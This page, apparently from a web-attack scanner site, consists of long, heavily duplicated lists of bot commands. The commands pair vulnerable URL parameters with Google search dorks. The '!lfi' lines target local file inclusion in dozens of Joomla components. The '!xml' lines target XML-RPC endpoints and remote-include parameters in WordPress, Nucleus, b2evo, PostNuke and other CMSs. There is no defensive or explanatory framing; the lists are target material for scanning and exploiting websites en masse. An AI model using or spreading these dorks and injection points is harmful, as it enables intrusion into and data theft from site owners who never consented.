Online SQL Google ScannerHttp://killnine.xp3.biz
LFI dork : Joomla
!lfi /index.php?option=com_myblog&Itemid=12&task= "com_myblog"
!lfi /index.php?option=com_juliaportfolio&controller= "com_juliaportfolio"
!lfi /index.php?option=com_sbsfile&controller= "com_sbsfile"
!lfi /index.php?option=com_rokdownloads&controller= "com_rokdownloads"
!lfi /index.php?option=com_sectionex&controller= "com_sectionex"
!lfi /index.php?option=com_ganalytics&controller= "com_ganalytics"
!lfi /index.php?option=com_janews&controller= "com_janews"
!lfi /index.php?option=com_linkr&controller= "com_linkr"
!lfi /index.php?option=com_rpx&controller= "com_rpx"
!lfi /index.php?option=com_ninjarsssyndicator&controller= "com_ninjarsssyndicator"
!lfi /index.php?option=com_gcalendar&controller= "com_gcalendar"
!lfi /index.php?option=com_ckforms&controller= "com_ckforms"
!lfi /index.php?option=com_jeformcr&view= "com_jeformcr"
!lfi /index.php?option=com_jresearch&controller= "com_jresearch"
!lfi /index.php?option=com_smestorage&controller= "com_smestorage"
!lfi /index.php?option=com_properties&controller= "com_properties"
!lfi /index.php?option=com_dwgraphs&controller= "com_dwgraphs"
!lfi /index.php?option=com_weberpcustomer&controller= "com_weberpcustomer"
!lfi /index.php?option=com_userstatus&controller= "com_userstatus"
!lfi /index.php?option=com_econtent&controller= "com_econtent"
!lfi /index.php?option=com_jvehicles&controller= "com_jvehicles"
!lfi /index.php?option=com_joomlapicasa2&controller= "com_joomlapicasa2"
!lfi /index.php?option=com_svmap&controller= "com_svmap"
!lfi /index.php?option=com_shoutbox&controller= "com_shoutbox"
!lfi /index.php?option=com_loginbox&view= "com_loginbox"
!lfi /index.php?option=com_myblog&Itemid=12&task= "com_myblog"
!lfi /index.php?option=com_juliaportfolio&controller= "com_juliaportfolio"
!lfi /index.php?option=com_sbsfile&controller= "com_sbsfile"
!lfi /index.php?option=com_rokdownloads&controller= "com_rokdownloads"
!lfi /index.php?option=com_sectionex&controller= "com_sectionex"
!lfi /index.php?option=com_ganalytics&controller= "com_ganalytics"
!lfi /index.php?option=com_janews&controller= "com_janews"
!lfi /index.php?option=com_linkr&controller= "com_linkr"
!lfi /index.php?option=com_rpx&controller= "com_rpx"
!lfi /index.php?option=com_ninjarsssyndicator&controller= "com_ninjarsssyndicator"
!lfi /index.php?option=com_gcalendar&controller= "com_gcalendar"
!lfi /index.php?option=com_ckforms&controller= "com_ckforms"
!lfi /index.php?option=com_jeformcr&view= "com_jeformcr"
!lfi /index.php?option=com_jresearch&controller= "com_jresearch"
!lfi /index.php?option=com_smestorage&controller= "com_smestorage"
!lfi /index.php?option=com_properties&controller= "com_properties"
!lfi /index.php?option=com_dwgraphs&controller= "com_dwgraphs"
!lfi /index.php?option=com_weberpcustomer&controller= "com_weberpcustomer"
!lfi /index.php?option=com_userstatus&controller= "com_userstatus"
!lfi /index.php?option=com_econtent&controller= "com_econtent"
!lfi /index.php?option=com_jvehicles&controller= "com_jvehicles"
!lfi /index.php?option=com_joomlapicasa2&controller= "com_joomlapicasa2"
!lfi /index.php?option=com_svmap&controller= "com_svmap"
!lfi /index.php?option=com_shoutbox&controller= "com_shoutbox"
!lfi /index.php?option=com_loginbox&view= "com_loginbox"
!lfi /index.php?option=com_bca-rss-syndicator&controller= "com_bca-rss-syndicator"
!lfi /index.php?option=com_joomlaupdater&controller= "com_joomlaupdater"
!lfi /index.php?option=com_redshop&view= "com_redshop"
!lfi /index.php?option=com_redtwitter&view= "com_redtwitter"
!lfi /index.php?option=com_wisroyq&controller= "com_wisroyq"
!lfi /index.php?option=com_jinventory&controller= "com_jinventory"
!lfi /index.php?option=com_appointment&controller= "com_appointment"
!lfi /index.php?option=com_datafeeds&controller= "com_datafeeds"
!lfi /index.php?option=com_fabrik&controller= "com_fabrik"
!lfi /index.php?option=com_hsconfig&controller= "com_hsconfig"
!lfi /index.php?option=com_joomlaflickr&controller= "com_joomlaflickr"
!lfi /index.php?option=com_jukebox&controller= "com_jukebox"
!lfi /index.php?option=com_jwhmcs&controller= "com_jwhmcs"
!lfi /index.php?option=com_sebercart&view= "com_sebercart"
!lfi /index.php?option=com_awiki&controller= "com_awiki"
!lfi /index.php?option=com_vjdeo&controller= "com_vjdeo"
!lfi /index.php?option=com_awdwall&controller= "com_awdwall"
!lfi /index.php?option=com_realtyna&controller= "com_realtyna"
!lfi /index.php?option=com_webeecomment&controller= "com_webeecomment"
!lfi /index.php?option=com_javoice&view= "com_javoice"
!lfi /index.php?option=com_foobla_suggestions&controller= "com_foobla_suggestions"
!lfi /index.php?option=com_powermail&controller= "com_powermail"
!lfi /index.php?option=com_pcchess&controller= "com_pcchess"
!lfi /index.php?option=com_spsnewsletter&controller= "com_spsnewsletter"
!lfi /index.php?option=com_alphauserpoints&view= "com_alphauserpoints"
!lfi /index.php?option=com_travelbook&controller= "com_travelbook"
!lfi /index.php?option=com_tweetla&controller= "com_tweetla"
!lfi /index.php?option=com_ticketbook&controller= "com_ticketbook"
!lfi /index.php?option=com_jajobboard&view= "com_jajobboard"
!lfi /index.php?option=com_jajobboard&controller= "com_jajobboard"
!lfi /index.php?option=com_jfeedback&controller= "com_jfeedback"
!lfi /index.php?option=com_jprojectmanager&controller= "com_jprojectmanager"
!lfi /index.php?option=com_preventive&controller= "com_preventive"
!lfi /index.php?option=com_myfiles&controller= "com_myfiles"
!lfi /index.php?option=com_onlineexam&controller= "com_onlineexam"
!lfi /index.php?option=com_joommail&controller= "com_joommail"
!lfi /index.php?option=com_memory&controller= "com_memory"
!lfi /index.php?option=com_market&controller= "com_market"
!lfi /index.php?option=com_diary&controller= "com_diary"
!lfi /index.php?option=com_webtv&controller= "com_webtv"
!lfi /index.php?option=com_horoscope&controller= "com_horoscope"
!lfi /index.php?option=com_arcadegames&controller= "com_arcadegames"
!lfi /index.php?option=com_flashgames&controller= "com_flashgames"
!lfi /index.php?option=com_addressbook&controller= "com_addressbook"
!lfi /index.php?option=com_flexicontent&controller= "com_flexicontent"
!lfi /index.php?option=com_advertising&controller= "com_advertising"
!lfi /index.php?option=com_cvmaker&controller= "com_cvmaker"
!lfi /index.php?option=com_worldrates&controller= "com_worldrates"
!lfi /index.php?option=com_record&controller= "com_record"
!lfi /index.php?option=com_sweetykeeper&controller= "com_sweetykeeper"
!lfi /index.php?option=com_beeheard&controller= "com_beeheard"
!lfi /index.php?option=com_blogfactory&controller= "com_blogfactory"
!lfi /index.php?option=com_delicious&controller= "com_delicious"
!lfi /index.php?option=com_jacomment&view= "com_jacomment"
!lfi /index.php?option=com_lovefactory&controller= "com_lovefactory"
!lfi /index.php?option=com_mtfireeagle&controller= "com_mtfireeagle"
!lfi /index.php?option=com_photobattle&view= "com_photobattle"
!lfi /index.php?option=com_s5clanroster&view= "com_s5clanroster"
!lfi /index.php?option=com_s5clanroster&controller= "com_s5clanroster"
!lfi /index.php?option=com_wgpicasa&controller= "com_wgpicasa"
!lfi /index.php?option=com_zimbcomment&controller= "com_zimbcomment"
!lfi /index.php?option=com_zimbcore&controller= "com_zimbcore"
!lfi /index.php?option=com_gadgetfactory&controller= "com_gadgetfactory"
!lfi /index.php?option=com_matamko&controller= "com_matamko"
!lfi /index.php?option=com_archeryscores&controller= "com_archeryscores"
!lfi /index.php?option=com_multiroot&controller= "com_multiroot"
!lfi /index.php?option=com_multimap&controller= "com_multimap"
!lfi /index.php?option=com_drawroot&controller= "com_drawroot"
!lfi /index.php?option=com_google&controller= "com_google"
!lfi /index.php?option=com_if_surfalert&controller= "com_if_surfalert"
!lfi /index.php?option=com_orgchart&controller= "com_orgchart"
!lfi /index.php?option=com_mmsblog&controller= "com_mmsblog"
!lfi /index.php?option=com_wmi&controller= "com_wmi"
!lfi /index.php?option=com_ultimateportfolio&controller= "com_ultimateportfolio"
!lfi /index.php?option=com_noticeboard&controller= "com_noticeboard"
!lfi /index.php?option=com_smartsite&controller= "com_smartsite"
!lfi /index.php?option=com_graphics&controller= "com_graphics"
!lfi /index.php?option=com_php&file= "com_php"
!lfi /index.php?option=com_aardvertiser&task= "com_aardvertiser"
!lfi /index.php?option=com_jejob&view= "com_jejob"
!lfi /index.php?option=com_jeajaxeventcalendar&view= "com_jeajaxeventcalendar"
!lfi /index.php?option=com_dioneformwizard&controller= "com_dioneformwizard"
!lfi /index.php?option=com_jequoteform&view= "com_jequoteform"
!lfi /index.php?option=com_mscomment&controller= "com_mscomment"
!lfi /index.php?option=com_simpledownload&controller= "com_simpledownload"
!lfi /index.php?option=com_event&view= "com_event"
!lfi /index.php?option=com_product&controller= "com_product"
!lfi /index.php?option=com_job&controller= "com_job"
!lfi /index2.php?option=com_simpledownload&controller= "com_simpledownload"
!lfi /index.php?option=com_perchaimageattach&controller= "com_perchaimageattach"
!lfi /index.php?option=com_perchafieldsattach&controller= "com_perchafieldsattach"
!lfi /index.php?option=com_perchagallery&controller= "com_perchagallery"
!lfi /index.php?option=com_juliaportfolio&controller= "com_juliaportfolio"
!lfi /index.php?option=com_sbsfile&controller= "com_sbsfile"
!lfi /index.php?option=com_rokdownloads&controller= "com_rokdownloads"
!lfi /index.php?option=com_sectionex&controller= "com_sectionex"
!lfi /index.php?option=com_ganalytics&controller= "com_ganalytics"
!lfi /index.php?option=com_janews&controller= "com_janews"
!lfi /index.php?option=com_linkr&controller= "com_linkr"
!lfi /index.php?option=com_rpx&controller= "com_rpx"
!lfi /index.php?option=com_ninjarsssyndicator&controller= "com_ninjarsssyndicator"
!lfi /index.php?option=com_gcalendar&controller= "com_gcalendar"
!lfi /index.php?option=com_ckforms&controller= "com_ckforms"
!lfi /index.php?option=com_jeformcr&view= "com_jeformcr"
!lfi /index.php?option=com_jresearch&controller= "com_jresearch"
!lfi /index.php?option=com_smestorage&controller= "com_smestorage"
!lfi /index.php?option=com_properties&controller= "com_properties"
!lfi /index.php?option=com_dwgraphs&controller= "com_dwgraphs"
!lfi /index.php?option=com_weberpcustomer&controller= "com_weberpcustomer"
!lfi /index.php?option=com_userstatus&controller= "com_userstatus"
!lfi /index.php?option=com_econtent&controller= "com_econtent"
!lfi /index.php?option=com_jvehicles&controller= "com_jvehicles"
!lfi /index.php?option=com_joomlapicasa2&controller= "com_joomlapicasa2"
!lfi /index.php?option=com_svmap&controller= "com_svmap"
!lfi /index.php?option=com_shoutbox&controller= "com_shoutbox"
!lfi /index.php?option=com_loginbox&view= "com_loginbox"
!lfi /index.php?option=com_myblog&Itemid=12&task= "com_myblog"
!lfi /index.php?option=com_juliaportfolio&controller= "com_juliaportfolio"
!lfi /index.php?option=com_sbsfile&controller= "com_sbsfile"
!lfi /index.php?option=com_rokdownloads&controller= "com_rokdownloads"
!lfi /index.php?option=com_sectionex&controller= "com_sectionex"
!lfi /index.php?option=com_ganalytics&controller= "com_ganalytics"
!lfi /index.php?option=com_janews&controller= "com_janews"
!lfi /index.php?option=com_linkr&controller= "com_linkr"
!lfi /index.php?option=com_rpx&controller= "com_rpx"
!lfi /index.php?option=com_ninjarsssyndicator&controller= "com_ninjarsssyndicator"
!lfi /index.php?option=com_gcalendar&controller= "com_gcalendar"
!lfi /index.php?option=com_ckforms&controller= "com_ckforms"
!lfi /index.php?option=com_jeformcr&view= "com_jeformcr"
!lfi /index.php?option=com_jresearch&controller= "com_jresearch"
!lfi /index.php?option=com_smestorage&controller= "com_smestorage"
!lfi /index.php?option=com_properties&controller= "com_properties"
!lfi /index.php?option=com_dwgraphs&controller= "com_dwgraphs"
!lfi /index.php?option=com_weberpcustomer&controller= "com_weberpcustomer"
!lfi /index.php?option=com_userstatus&controller= "com_userstatus"
!lfi /index.php?option=com_econtent&controller= "com_econtent"
!lfi /index.php?option=com_jvehicles&controller= "com_jvehicles"
!lfi /index.php?option=com_joomlapicasa2&controller= "com_joomlapicasa2"
!lfi /index.php?option=com_svmap&controller= "com_svmap"
!lfi /index.php?option=com_shoutbox&controller= "com_shoutbox"
!lfi /index.php?option=com_loginbox&view= "com_loginbox"
!lfi /index.php?option=com_bca-rss-syndicator&controller= "com_bca-rss-syndicator"
!lfi /index.php?option=com_joomlaupdater&controller= "com_joomlaupdater"
!lfi /index.php?option=com_redshop&view= "com_redshop"
!lfi /index.php?option=com_redtwitter&view= "com_redtwitter"
!lfi /index.php?option=com_wisroyq&controller= "com_wisroyq"
!lfi /index.php?option=com_jinventory&controller= "com_jinventory"
!lfi /index.php?option=com_appointment&controller= "com_appointment"
!lfi /index.php?option=com_datafeeds&controller= "com_datafeeds"
!lfi /index.php?option=com_fabrik&controller= "com_fabrik"
!lfi /index.php?option=com_hsconfig&controller= "com_hsconfig"
!lfi /index.php?option=com_joomlaflickr&controller= "com_joomlaflickr"
!lfi /index.php?option=com_jukebox&controller= "com_jukebox"
!lfi /index.php?option=com_jwhmcs&controller= "com_jwhmcs"
!lfi /index.php?option=com_sebercart&view= "com_sebercart"
!lfi /index.php?option=com_awiki&controller= "com_awiki"
!lfi /index.php?option=com_vjdeo&controller= "com_vjdeo"
!lfi /index.php?option=com_awdwall&controller= "com_awdwall"
!lfi /index.php?option=com_realtyna&controller= "com_realtyna"
!lfi /index.php?option=com_webeecomment&controller= "com_webeecomment"
!lfi /index.php?option=com_javoice&view= "com_javoice"
!lfi /index.php?option=com_foobla_suggestions&controller= "com_foobla_suggestions"
!lfi /index.php?option=com_powermail&controller= "com_powermail"
!lfi /index.php?option=com_pcchess&controller= "com_pcchess"
!lfi /index.php?option=com_spsnewsletter&controller= "com_spsnewsletter"
!lfi /index.php?option=com_alphauserpoints&view= "com_alphauserpoints"
!lfi /index.php?option=com_travelbook&controller= "com_travelbook"
!lfi /index.php?option=com_tweetla&controller= "com_tweetla"
!lfi /index.php?option=com_ticketbook&controller= "com_ticketbook"
!lfi /index.php?option=com_jajobboard&view= "com_jajobboard"
!lfi /index.php?option=com_jajobboard&controller= "com_jajobboard"
!lfi /index.php?option=com_jfeedback&controller= "com_jfeedback"
!lfi /index.php?option=com_jprojectmanager&controller= "com_jprojectmanager"
!lfi /index.php?option=com_preventive&controller= "com_preventive"
!lfi /index.php?option=com_myfiles&controller= "com_myfiles"
!lfi /index.php?option=com_onlineexam&controller= "com_onlineexam"
!lfi /index.php?option=com_joommail&controller= "com_joommail"
!lfi /index.php?option=com_memory&controller= "com_memory"
!lfi /index.php?option=com_market&controller= "com_market"
!lfi /index.php?option=com_diary&controller= "com_diary"
!lfi /index.php?option=com_webtv&controller= "com_webtv"
!lfi /index.php?option=com_horoscope&controller= "com_horoscope"
!lfi /index.php?option=com_arcadegames&controller= "com_arcadegames"
!lfi /index.php?option=com_flashgames&controller= "com_flashgames"
!lfi /index.php?option=com_addressbook&controller= "com_addressbook"
!lfi /index.php?option=com_flexicontent&controller= "com_flexicontent"
!lfi /index.php?option=com_advertising&controller= "com_advertising"
!lfi /index.php?option=com_cvmaker&controller= "com_cvmaker"
!lfi /index.php?option=com_worldrates&controller= "com_worldrates"
!lfi /index.php?option=com_record&controller= "com_record"
!lfi /index.php?option=com_sweetykeeper&controller= "com_sweetykeeper"
!lfi /index.php?option=com_beeheard&controller= "com_beeheard"
!lfi /index.php?option=com_blogfactory&controller= "com_blogfactory"
!lfi /index.php?option=com_delicious&controller= "com_delicious"
!lfi /index.php?option=com_jacomment&view= "com_jacomment"
!lfi /index.php?option=com_lovefactory&controller= "com_lovefactory"
!lfi /index.php?option=com_mtfireeagle&controller= "com_mtfireeagle"
!lfi /index.php?option=com_photobattle&view= "com_photobattle"
!lfi /index.php?option=com_s5clanroster&view= "com_s5clanroster"
!lfi /index.php?option=com_s5clanroster&controller= "com_s5clanroster"
!lfi /index.php?option=com_wgpicasa&controller= "com_wgpicasa"
!lfi /index.php?option=com_zimbcomment&controller= "com_zimbcomment"
!lfi /index.php?option=com_zimbcore&controller= "com_zimbcore"
!lfi /index.php?option=com_gadgetfactory&controller= "com_gadgetfactory"
!lfi /index.php?option=com_matamko&controller= "com_matamko"
!lfi /index.php?option=com_archeryscores&controller= "com_archeryscores"
!lfi /index.php?option=com_multiroot&controller= "com_multiroot"
!lfi /index.php?option=com_multimap&controller= "com_multimap"
!lfi /index.php?option=com_drawroot&controller= "com_drawroot"
!lfi /index.php?option=com_google&controller= "com_google"
!lfi /index.php?option=com_if_surfalert&controller= "com_if_surfalert"
!lfi /index.php?option=com_orgchart&controller= "com_orgchart"
!lfi /index.php?option=com_mmsblog&controller= "com_mmsblog"
!lfi /index.php?option=com_wmi&controller= "com_wmi"
!lfi /index.php?option=com_ultimateportfolio&controller= "com_ultimateportfolio"
!lfi /index.php?option=com_noticeboard&controller= "com_noticeboard"
!lfi /index.php?option=com_smartsite&controller= "com_smartsite"
!lfi /index.php?option=com_graphics&controller= "com_graphics"
!lfi /index.php?option=com_php&file= "com_php"
!lfi /index.php?option=com_aardvertiser&task= "com_aardvertiser"
!lfi /index.php?option=com_jejob&view= "com_jejob"
!lfi /index.php?option=com_jeajaxeventcalendar&view= "com_jeajaxeventcalendar"
!lfi /index.php?option=com_dioneformwizard&controller= "com_dioneformwizard"
!lfi /index.php?option=com_jequoteform&view= "com_jequoteform"
!lfi /index.php?option=com_mscomment&controller= "com_mscomment"
!lfi /index.php?option=com_simpledownload&controller= "com_simpledownload"
!lfi /index.php?option=com_event&view= "com_event"
!lfi /index.php?option=com_product&controller= "com_product"
!lfi /index.php?option=com_job&controller= "com_job"
!lfi /index2.php?option=com_simpledownload&controller= "com_simpledownload"
!lfi /index.php?option=com_perchaimageattach&controller= "com_perchaimageattach"
!lfi /index.php?option=com_perchafieldsattach&controller= "com_perchafieldsattach"
!lfi /index.php?option=com_perchagallery&controller= "com_perchagallery"
Dork XML
!xml active/components/xmlrpc/client.php?c[components]= /Pindorama/
!xml /components/com_sitemap/sitemap.xml.php?mosConfig_absolute_path= "com_sitemap"
!xml /components/com_videodb/core/videodb.class.xml.php?mosConfig_absolute_path= "com_videodb"
!xml /ch_readalso.php?read_xml_include= "Copyrights ? 2005 Belgische Federale Overheidsdiensten"
!xml /include/monitoring/engine/MakeXML.php?fileOreonConf= "oreon.conf.php"
!xml /include/monitoring/engine/MakeXML4statusCounter.php?fileOreonConf= "common-Func-ACL.php"
!xml /sitemap.xml.php?dir[classes]= "class.pages.php"
!xml xmlrpc.php "a web portal system written in PHP."
!xml xmlrpc.php "* RSS 2.0 * Comments RSS 2.0 * Valid XHTML * WP"
!xml xmlrpc.php "* RSS 2.0 * Comments RSS 2.0 * Valid XHTML * WP" "powered by wordpress"
!xml xmlrpc.php RSS 2.0 * Comments RSS 2.0
!xml xmlrpc.php "WordPress Module * WordPress ME * WordPress"
!xml /nucleus/xmlrpc/server.php "Nucleus CMS v3.2 * Valid XHTML"
!xml serendipity_xmlrpc.php "Welcome to the Serendipity Administration Suite"
!xml /nucleus/xmlrpc/server.php "2003-2004, Radek Hulán"
!xml tiki-xmlrpc_services.php tiki-*.php
!xml xmlrpc.php "[ * powered by b2 * ]"
!xml xmlrpc.php /b2-include/xmlrpcs.inc on line 182
!xml /xmlsrv/xmlrpc.php /b2evocore/_functions_xmlrpcs.php on line 1
!xml xmlrpc.php wp-includes/class-xmlrpcs.php on line 255
!xml serendipity_xmlrpc.php "Powered by Serendipity"
!xml serendipity_xmlrpc.php "Open login screen"
!xml /b2/xmlsrv/xmlrpc.php "powered by b2"
!xml /nucleus/xmlrpc/server.php "Nucleus"
!xml /nucleus/xmlrpc/server.php "index.php?blogid="
!xml /nucleus/xmlrpc/server.php "The Nucleus Group"
!xml /xmlsrv/xmlrpc.php 'index.php?blog='
!xml /nucleus/xmlrpc/server.php 'index.php?catid=' + blogid
!xml /nucleus/xmlrpc/server.php 'index.php?itemid='
!xml xmlrpc.php "This web site was made with PostNuke"
!xml xmlrpc.php "Web site powered by PostNuke"
!xml /faq/xmlrpc.php "powered by phpmyFAQ"
!xml xmlrpc.php "by the Tiki community"
!xml phpgroupware/xmlrpc.php "This Site is powered by phpWebSite"
!xml xmlrpc.php "This website is powered by eGroupWare's"
!xml xmlrpc.php "This website is powered by WordPress"
!xml adxmlrpc.php "phpAdsNew"
!xml xmlrpc.php "by each individual author, All Rights Reserved"
!xml /xmlrpc.php /amfx
!xml /amfx/xmlrpc.php "BlazeDS"
!xml /amfx/xmlrpc.php "anything"
!xml /xmlrpc.php dev-php/PEAR-XML_RPC
!xml xmlrpc.php "PEAR-XML_RPC"
!xml xmlrpc.php "phpxmlrpc"
!xml xmlrpc.php "/PEAR-XML_RPC"
!xml xmlrpc.php "/pear"
!xml xmlrpc.php "/SRPMS"
!xml xmlrpc.php "/php-pear"
!xml xmlrpc.php "phpMyFAQ"
!xml xmlrpc.php "PHPXMLRPC"
!xml xmlrpc.php "Trustix"
!xml xmlrpc.php "Strayhorn"
!xml /xmlrpc.php /modules.php?op=modload
!xml /xmlrpc.php Valid XHTML 1.0! Valid CSS! Valid RSS! Valid Atom!
!xml /xmlsrv/xmlrpc.php/xmlsrv/xmlrpc.php /wp-includes* WordPress ME *
!xml /xmlsrv/xmlrpc.php/xmlsrv/xmlrpc.php /wp-includes+wordpress
!xml /xmlsrv/xmlrpc.php "Valid XHTML 1.0! Valid CSS! Valid RSS! Valid Atom"
!xml /xmlsrv/xmlrpc.php "Original template design by François PLANQUE."
!xml /xmlsrv/xmlrpc.php "Original template design by Free CSS Templates"
!xml /xmlrpc.php "XML-RPC library"
!xml /pingserver.php /pMachine+pnSession+pmserver+pm
!xml /pingserver.php /pMachine+pm
!xml /pingserver.php /pMachine+index.php
!xml /pingserver.php /pMachine,pMachine
!xml /xmlrpc.php /include+phpMyFAQ
!xml /xmlrpc.php TikiWiki+utils.php
!xml /xmlrpc.php powered+by+postnuke
!xml /xmlrpc.php "BLOG:CMS"
!xml /xmlrpc.php "faultString XML error: no element found at line 1"
!xml /xmlrpc.php "PEAR XML_RPC"
!xml /xmlrpc.php "Xoops"
!xml /xmlsrv/xmlrpc.php "Original template design by François PLANQUE."
!xml /xmlrpc.php "postnuke"
!xml /xmlrpc.php "dailyblog"
!xml /xmlrpc.php phpgroupware
!xml /xmlphp.php "XML-RPC for PHP"
!xml /nucleus/xmlrpc.php Nucleus © 2002-2004 The Nucleus Group - Donate!
!xml /drupal/xmlrpc.php callback
!xml /nucleus/xmlrpc/server.php Nucleus © 2002-2004 The Nucleus Group - Donate!
!xml /xmlrpc.php "Squirrelcart"
!xml /xmlrpc.php "Powered By Wordpress"
!xml /xmlrpc.php RSS 2.0 * Comments RSS 2.0 * Valid XHTML * WP
!xml /xmlrpc.php "com_pollxt"
!xml /adxmlrpc.php /phpAdsNew/ site:.it
!xml /xmlrpc.php "action"+"poll_ident"
!xml /xmlrpc.php "webcalendar"
!xml /WordPress WordPress 1.2.1
!xml /b2/xmlsrv/xmlrpc.php /b2+site:.it
!xml /b2evo/xmlsrv/xmlrpc.php /b2evo+site:.it
!xml /blog/xmlrpc.php /blog+site:.it
!xml /blog/xmlsrv/xmlrpc.php /blog+site:.it
!xml /blogs/xmlrpc.php /blogs+site:.it
!xml /blogs/xmlsrv/xmlrpc.php /blogs+site:.it
!xml /blogtest/xmlsrv/xmlrpc.php /blogtest+site:.it
!xml xmlrpc.php "a web portal system written in PHP."
!xml xmlrpc.php "* RSS 2.0 * Comments RSS 2.0 * Valid XHTML * WP"
!xml xmlrpc.php "* RSS 2.0 * Comments RSS 2.0 * Valid XHTML * WP" "powered by wordpress"
!xml xmlrpc.php RSS 2.0 * Comments RSS 2.0
!xml xmlrpc.php "WordPress Module * WordPress ME * WordPress"
!xml /nucleus/xmlrpc/server.php "Nucleus CMS v3.2 * Valid XHTML"
!xml serendipity_xmlrpc.php "Welcome to the Serendipity Administration Suite"
!xml xmlrpc.php "WordPress Module * WordPress ME * WordPress"
!xml serendipity_xmlrpc.php "Powered by. Serendipity PHP Weblog"
!xml /nucleus/xmlrpc/server.php "2003-2004, Radek Hulán"
!xml tiki-xmlrpc_services.php tiki-*.php
!xml xmlrpc.php "[ * powered by b2 * ]"
!xml xmlrpc.php /b2-include/xmlrpcs.inc on line 182
!xml /xmlsrv/xmlrpc.php /blogs/b2evocore/_functions.php
!xml /xmlsrv/xmlrpc.php /b2evocore/_functions.php
!xml /xmlsrv/xmlrpc.php /b2evocore/_functions_xmlrpcs.php on line 1
!xml xmlrpc.php wp-includes/class-xmlrpcs.php on line 255
!xml serendipity_xmlrpc.php "Powered by Serendipity"
!xml serendipity_xmlrpc.php "Open login screen"
!xml /b2/xmlsrv/xmlrpc.php "powered by b2"
!xml /nucleus/xmlrpc/server.php "Nucleus" site:it
!xml /nucleus/xmlrpc/server.php "index.php?blogid=" site:.it
!xml /nucleus/xmlrpc/server.php "The Nucleus Group" site:.it
!xml /xmlsrv/xmlrpc.php 'index.php?blog='
!xml /nucleus/xmlrpc/server.php 'index.php?catid=' + blogid
!xml /nucleus/xmlrpc/server.php 'index.php?itemid='
!xml xmlrpc.php "This web site was made with PostNuke"
!xml xmlrpc.php "Web site powered by PostNuke"
!xml /faq/xmlrpc.php "powered by phpmyFAQ"
!xml /faq/xmlrpc.php "/index.php?p=faq"
!xml /faq/xmlrpc.php "/index.php?pg=faq"
!xml /faq/xmlrpc.php "/index.php?pag=faq"
!xml /faq/xmlrpc.php "/index.php?page=faq"
!xml /faq/xmlrpc.php "/?faq"
!xml xmlrpc.php "by the Tiki community"
!xml phpgroupware/xmlrpc.php "This Site is powered by phpWebSite"
!xml xmlrpc.php "This website is powered by eGroupWare's"
!xml xmlrpc.php "This website is powered by WordPress"
!xml adxmlrpc.php "phpAdsNew"
!xml xmlrpc.php "by each individual author, All Rights Reserved"
!xml /components/com_sitemap/sitemap.xml.php?mosConfig_absolute_path= "com_sitemap"
!xml /components/com_videodb/core/videodb.class.xml.php?mosConfig_absolute_path= "com_videodb"
!xml /ch_readalso.php?read_xml_include= "Copyrights ? 2005 Belgische Federale Overheidsdiensten"
!xml /include/monitoring/engine/MakeXML.php?fileOreonConf= "oreon.conf.php"
!xml /include/monitoring/engine/MakeXML4statusCounter.php?fileOreonConf= "common-Func-ACL.php"
!xml /sitemap.xml.php?dir[classes]= "class.pages.php"
!xml xmlrpc.php "a web portal system written in PHP."
!xml xmlrpc.php "* RSS 2.0 * Comments RSS 2.0 * Valid XHTML * WP"
!xml xmlrpc.php "* RSS 2.0 * Comments RSS 2.0 * Valid XHTML * WP" "powered by wordpress"
!xml xmlrpc.php RSS 2.0 * Comments RSS 2.0
!xml xmlrpc.php "WordPress Module * WordPress ME * WordPress"
!xml /nucleus/xmlrpc/server.php "Nucleus CMS v3.2 * Valid XHTML"
!xml serendipity_xmlrpc.php "Welcome to the Serendipity Administration Suite"
!xml /nucleus/xmlrpc/server.php "2003-2004, Radek Hulán"
!xml tiki-xmlrpc_services.php tiki-*.php
!xml xmlrpc.php "[ * powered by b2 * ]"
!xml xmlrpc.php /b2-include/xmlrpcs.inc on line 182
!xml /xmlsrv/xmlrpc.php /b2evocore/_functions_xmlrpcs.php on line 1
!xml xmlrpc.php wp-includes/class-xmlrpcs.php on line 255
!xml serendipity_xmlrpc.php "Powered by Serendipity"
!xml serendipity_xmlrpc.php "Open login screen"
!xml /b2/xmlsrv/xmlrpc.php "powered by b2"
!xml /nucleus/xmlrpc/server.php "Nucleus"
!xml /nucleus/xmlrpc/server.php "index.php?blogid="
!xml /nucleus/xmlrpc/server.php "The Nucleus Group"
!xml /xmlsrv/xmlrpc.php 'index.php?blog='
!xml /nucleus/xmlrpc/server.php 'index.php?catid=' + blogid
!xml /nucleus/xmlrpc/server.php 'index.php?itemid='
!xml xmlrpc.php "This web site was made with PostNuke"
!xml xmlrpc.php "Web site powered by PostNuke"
!xml /faq/xmlrpc.php "powered by phpmyFAQ"
!xml xmlrpc.php "by the Tiki community"
!xml phpgroupware/xmlrpc.php "This Site is powered by phpWebSite"
!xml xmlrpc.php "This website is powered by eGroupWare's"
!xml xmlrpc.php "This website is powered by WordPress"
!xml adxmlrpc.php "phpAdsNew"
!xml xmlrpc.php "by each individual author, All Rights Reserved"
!xml /xmlrpc.php /amfx
!xml /amfx/xmlrpc.php "BlazeDS"
!xml /amfx/xmlrpc.php "anything"
!xml /xmlrpc.php dev-php/PEAR-XML_RPC
!xml xmlrpc.php "PEAR-XML_RPC"
!xml xmlrpc.php "phpxmlrpc"
!xml xmlrpc.php "/PEAR-XML_RPC"
!xml xmlrpc.php "/pear"
!xml xmlrpc.php "/SRPMS"
!xml xmlrpc.php "/php-pear"
!xml xmlrpc.php "phpMyFAQ"
!xml xmlrpc.php "PHPXMLRPC"
!xml xmlrpc.php "Trustix"
!xml xmlrpc.php "Strayhorn"
!xml /xmlrpc.php /modules.php?op=modload
!xml /xmlrpc.php Valid XHTML 1.0! Valid CSS! Valid RSS! Valid Atom!
!xml /xmlsrv/xmlrpc.php/xmlsrv/xmlrpc.php /wp-includes* WordPress ME *
!xml /xmlsrv/xmlrpc.php/xmlsrv/xmlrpc.php /wp-includes+wordpress
!xml /xmlsrv/xmlrpc.php "Valid XHTML 1.0! Valid CSS! Valid RSS! Valid Atom"
!xml /xmlsrv/xmlrpc.php "Original template design by François PLANQUE."
!xml /xmlsrv/xmlrpc.php "Original template design by Free CSS Templates"
!xml /xmlrpc.php "XML-RPC library"
!xml /pingserver.php /pMachine+pnSession+pmserver+pm
!xml /pingserver.php /pMachine+pm
!xml /pingserver.php /pMachine+index.php
!xml /pingserver.php /pMachine,pMachine
!xml /xmlrpc.php /include+phpMyFAQ
!xml /xmlrpc.php TikiWiki+utils.php
!xml /xmlrpc.php powered+by+postnuke
!xml /xmlrpc.php "BLOG:CMS"
!xml /xmlrpc.php "faultString XML error: no element found at line 1"
!xml /xmlrpc.php "PEAR XML_RPC"
!xml /xmlrpc.php "Xoops"
!xml /xmlsrv/xmlrpc.php "Original template design by François PLANQUE."
